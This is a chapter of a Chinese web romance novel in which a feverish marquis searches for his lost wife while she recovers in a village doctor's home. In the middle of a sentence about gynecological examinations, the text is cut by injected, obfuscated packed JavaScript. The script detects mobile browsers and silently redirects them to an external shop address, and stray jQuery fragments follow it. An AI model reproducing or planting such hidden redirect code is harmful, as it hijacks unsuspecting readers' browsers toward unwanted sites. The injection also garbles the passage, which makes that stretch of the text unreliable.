4. 第四章
作品:《温柔医娘驯疯侯》 “圣旨到——!”
“传陛下口谕,令平南侯携贼犯萧衍即刻入京复命,不得有误!”
季衡一行人已在刘家村滞留三日,后山被翻了个遍,却连栗岫云的半点踪迹都没找到。
他本就带着伤,又连日怒火攻心,伤势迟迟不见好转,反倒发起了高热,性子也变得愈发暴戾难测,除了忍冬和军医,没人敢靠近他半步。
直到这日,县令带着天使来传旨。
天使言明朝中情况:“季侯带兵出发多日迟迟未归,朝中老臣正以此弹劾,陛下也是心疼季侯,速速回去,陛下才能保全季侯。”
忍冬连连道谢,打发了赏钱,即刻命令整队,准备回京。
一路车马颠簸,季衡的高热愈发严重,军医一路悉心照料了一整夜,才勉强稳住他的病情,可想要彻底好转,终究得等回京后才能得到更好的医治。
偏偏朝中那些文官闹得厉害,虽说皇帝有心偏袒他,但他一日不回京复命,皇帝就一日没法堵住满朝的非议。
天使在路上也反复叮嘱其中利害,季衡没法子,只能强撑着一身伤病,入宫觐见皇帝。
早朝上,朝官左一言右一句,什么消极军务、怠惰成性,什么以公谋私,借军务之名行私利之实,什么罔顾君恩百姓,有失将领职责,生是把他批的体无完肤。
呸!
娘子都没了,还管这些做求?!
他本就浑身无力,没心思跟这群人争辩,任由他们对着自己骂个痛快,全程一言不发。
最后还是皇帝开口,压下了满朝非议:“平南侯领兵多年,素来骁勇忠恳,屡立战功,绝非怠惰谋私之辈,此番久滞不归,皆因伤重难行。贼人既已伏法,当赏。”
季衡抱着御赐的千年人参摇摇晃晃走出金銮殿,刚下丹陛,便一头栽倒在地。
……
跳动的烛火中,栗岫云正在织补他破损的外衣,捻着针的五个手指纤细漂亮。
抬眼向上看,是她雪白的脖颈,再向上,是光洁的下巴,嫣红的唇瓣微微张开,能看见一点点象牙白的贝齿。
她下颌线是圆润的弧度,连接的耳垂饱满像一粒嫩豆子。
她埋下头,咬断缝衣的线。
“侯爷,缝好了。”她笑吟吟看向他。
他抬手抚摸那张烛火中的美丽脸庞,她的眉眼间,是如春水般的温和柔顺,他指腹划过的地方,像丝绸一样柔润细腻。
她脸上浮起薄薄的绯色,悄然垂下眼睫,想起身把衣服叠好,却被他抓住,揽进怀里。
她身量纤纤,却正好把他怀里空缺的位置填得满满的。
他俯身吻她的耳垂,吻她的下颌,吻她的嘴角,然后想吻那张惹人怜爱的唇。
她的四个手指按住了他的嘴唇,指尖冰冰凉的。
她害羞的低语:“侯爷不可。”
他抓住那四个手指,张开嘴巴,含住其中一个。
“侯爷!”她吓着了,使劲想把手抽出来。
可他是耍刀弄枪的人,手掌又大又有劲,她一个小小女子怎么奈何得了,一挣扎,便整个被揽进怀中,和那个结实又滚烫的胸膛紧紧贴在一起。
她安静了,乖乖的枕在他的胳膊上,任由他的大手在身上游走抚触。
多么温软的身体啊。
他紧紧抱着她。
“云儿,我方才做了个噩梦,好可怕,梦见小屋被烧了,梦见找不到你了,我吓坏了。”
他更加拥紧了些,恨不得把她揉进自己的骨血里,永世不得分离。
“云儿,别离开我好吗?”
“哥哥,快醒醒,是我。”
熟悉的清丽的女声响起,季衡蓦地睁开眼睛,松开怀抱,却发现是另一张熟悉的脸。
“小凌?怎么是你?”
一股强烈的恐惧瞬间覆灭了他。
“这里是侯府,哥哥,你烧糊涂了,哪有什么云儿。”季凌满脸忧色。
侯府?
巨大的嗡鸣穿透他的脑海,难以言说的痛楚让他再次倒了下去,他捂着眼睛,只觉得脑子和心都剧痛无比。
“小凌,我把你搜搜弄丢了……我把你嫂嫂弄丢了……我真该死,我怎么能把她弄丢了……”
季凌招手让丫鬟去请府医来。
她这哥哥是个死脑筋,总是一条道走到黑,不撞南墙不回头,前几日来信说,娶到一个美若天仙的好娘子,不日就要带回来相见。
结果她等了这么几天,没见到那个美貌嫂嫂,只听到她夫君江嘉泽带来的消息,说是哥哥被群臣批斗,气得晕死在殿前了。
她吓得赶紧回来看顾,守了两天,今天终于有点动静,却抱着她“云儿、云儿”的喊个不停。
到底是什么样的女人,让他跟吃了迷魂药似的,这么难以自持?
所幸,忍冬已经重新派人去找了。
应该能找到吧,要找不到,她这个疯哥哥怕要更疯了。
……
栗岫云从屋里翻出几本旧医书,是程骜师父的笔记。
她认得字,或者说,这个时代的栗岫云会认字,加之医书都是些脉象和药名,也不难认。
乡村游医,泛而不精,杂七杂八什么都记了些,只是关于妇科疾病的案例,实在少得可怜。
中国古代有很多关于妇科疾病诊治的医书,明代武之望所著的《济阴纲目》就是其中集大成者。
书中有言:凡医家治男子易,治妇人难。
这是男女生理结构差异带来的,现代有了各种窥视镜,可以看见女子深处的病灶,但在这些先进的器械出现之前,中医大多依靠“把脉”来看病,对女子而言,这种方式很难找准病灶。
这一点,武之望早就言明:女子之情,隐微难见,病不自治,而一委于医,医又不能得其隐微,望问闻无有焉,一凭于脉,脉其可尽凭乎?
也不能怪古代的医生无能。
毕竟即使是在现代,一个妇女去医院做检查,只要是男医生,心里都多少有些隔应,有些人甚至要求换
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946944|193028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,更遑论男女授受不亲的这个时代,哪个女人敢心无芥蒂的对着郎中脱裤子?
也难怪武之望会说“医者不能得隐微”。
所以程骜师父的笔记中鲜有妇女案例,倒是毫不奇怪。
她找了本小册子,把这部分内容誊抄了下来,还没抄完,程骜回来了。
他一踏进门,就焦急喊道:“糟了,小云,你爹死了,你家都烧没了!”
程骜一脸惨灰说出这个事时,栗岫云只是茫茫然看着他,思绪还没有从书里跳出来,丝毫看不出伤心难过。
毕竟是个连名字都不知道的陌生人。
“小云,你当真一点都不记得了?”
程骜一副无法理解的模样,烦躁的搔着头,在屋里不安的踱步,几次望着栗岫云欲言又止,最后目光落在她绑着支架的胳膊上,非常无奈的叹了一口气,去外面了。
他这样左右为难,是在纠结要不要收留自己吧?眼下这情况,多一张嘴巴也是要吃饭的,何况她又是未出阁的女孩,将来嫁人怎么办?
栗岫云虽然明白他的顾虑,但是眼下,她无处可去,胳膊又动不了,只能暂时无视他的纠结了。
正好她也懂点中医,草药都认得,就帮着程骜打打下手,研磨草药、制药丸、膏贴,等程青青卖完药贴回来,就帮着看灶火煮饭,做些力所能及的家务活。
见此情形,程骜不好说什么,平日里见到都是笑脸相迎,心里却暗暗琢磨如何安置她才好。
如此相安无事过了一个周。
这天是赶集日,程青青照旧挎着小药箱外出卖药。
程骜没有出诊,领着个瘦小的婆子来了家里。
栗岫云煮茶端去,婆子一双狭长的眼睛,从头到脚把她打量了一遍,眉梢瞬间染上喜色:“这是你女儿?长得真水灵。”
程骜有些尴尬:“不是,是我老乡的女儿,因着伤病在我这里将养。”
婆子大失所望,呷来了一口茶:“那你的女儿呢?”
话刚问完,程青青就乐呵呵踏进屋来了,她举着一张油纸,高兴的喊道:“云姐姐,今天生意可好,我们做的膏药全卖完了!我买了酥油饼,快来吃!”
婆子当然也听到声音,转头看向院子里跑跑跳跳的“小男子”,顿时咋舌:“这是你女儿?这不是个男娃子?”
程骜赶紧陪着笑脸解释:“她平日就喜欢这般打扮,却是货真价实的女子,不敢开玩笑。”
他又向着程青青招手:“你过来,给媒婆好好看看。”
程青青本来欢欢喜喜的吃着酥油饼,听她爹这么一喊,饼还含在嘴里,笑意却全无,眼睛霎时瞪得溜圆,朝着婆子走了去。
婆子瞧她这不男不女,又无礼至极的样子,更加藏不住的嫌弃。
程骜一看媒婆脸色不好,当即对程青青大声呵斥道:“你这什么样子,快去拾捯拾捯!”
“我呸!”程青青一点面子不给,咽下酥饼狠狠啐了一口,“什么煤婆柴婆的,趁早给我滚出去!”

